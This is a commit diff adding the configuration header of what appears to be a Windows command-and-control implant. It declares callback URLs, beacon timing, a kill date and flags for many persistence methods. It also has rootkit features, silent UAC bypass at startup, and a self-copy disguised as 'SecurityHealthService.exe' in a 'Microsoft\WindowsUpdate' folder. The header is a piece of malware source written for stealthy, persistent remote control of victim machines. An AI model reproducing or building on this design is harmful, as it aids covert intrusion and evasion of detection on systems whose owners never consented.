initial commit

2026-08-27 11:03:10 -06:00
commit d164820ea9
282 changed files with 90944 additions and 0 deletions
@@ -0,0 +1,84 @@
+#ifndef ZERIN_CONFIG_H
+#define ZERIN_CONFIG_H
+
+#include <stdint.h>
+#include <stdbool.h>
+
+#define ZERIN_MAX_URLS    4
+#define ZERIN_MAX_URL_LEN 512
+/* WARNING: XOR is placeholder encryption only — trivially reversible.
+ * This should be replaced with ChaCha20 (or similar) once the builder
+ * is updated to match.  Do not rely on this for any real confidentiality. */
+#define CONFIG_XOR_KEY      0xAB
+
+// Persistence method flags (auto-install on first run)
+#define PERSIST_RUNKEY       0x0001
+#define PERSIST_SCHTASK      0x0002
+#define PERSIST_SERVICE      0x0004
+#define PERSIST_STARTUP      0x0008
+#define PERSIST_LOGONSCRIPT  0x0010
+#define PERSIST_SCREENSAVER  0x0020
+#define PERSIST_IFEO         0x0040
+#define PERSIST_BITS         0x0080
+#define PERSIST_COM          0x0100
+#define PERSIST_WMI          0x0200
+#define PERSIST_PORTMON      0x0400
+#define PERSIST_SSP          0x0800
+
+#define PERSIST_ADMIN_MASK  0x0E44  // SERVICE|IFEO|WMI|PORTMON|SSP
+
+typedef struct {
+    // Callback URLs (failover list)
+    char        callback_urls[ZERIN_MAX_URLS][ZERIN_MAX_URL_LEN];
+    uint32_t    num_urls;
+
+    // Crypto keys (compiled in)
+    uint8_t     server_pubkey[32];      // Server's X25519 public key
+    uint8_t     agent_privkey[32];      // Agent's X25519 private key
+    uint8_t     agent_pubkey[32];       // Agent's X25519 public key
+
+    // Agent identity
+    char        agent_id[37];           // UUID string
+
+    // Timing
+    uint32_t    sleep_interval;         // Seconds between beacons
+    uint32_t    jitter_percent;         // 0-50
+    int64_t     kill_date;              // Unix timestamp, 0 = no kill date
+
+    // HTTP
+    char        user_agent[256];
+
+    // Persistence
+    uint32_t    persist_methods;        // Bitmask of methods to auto-install
+
+    // Rootkit
+    uint32_t    rootkit_enabled;        // Enable r77-style rootkit features
+
+    // Auto-elevation
+    uint32_t    auto_elevate;           // Attempt silent UAC bypass at startup
+
+    // Install location (self-copy)
+    uint32_t    install_dir;            // Base dir: 0=TEMP, 1=LOCALAPPDATA, 2=APPDATA, 3=PROGRAMDATA, 4=USERPROFILE
+    char        install_subdir[64];     // Subfolder (e.g. "Microsoft\\WindowsUpdate")
+    char        install_filename[64];   // Exe filename (e.g. "SecurityHealthService.exe")
+} zerin_config_t;
+
+// Initialize config with compiled-in defaults
+int config_init(zerin_config_t *cfg);
+
+// Validate config values
+bool config_validate(const zerin_config_t *cfg);
+
+// Update config from server command
+void config_update_sleep(zerin_config_t *cfg, uint32_t interval, uint32_t jitter);
+
+// Check if kill date has passed
+bool config_is_expired(const zerin_config_t *cfg);
+
+// XOR decrypt config blob
+void config_decrypt(uint8_t *data, size_t len, uint8_t key);
+
+// Derive a per-machine unique agent ID from build ID + hardware fingerprint
+void config_derive_machine_id(zerin_config_t *cfg);
+
+#endif // ZERIN_CONFIG_H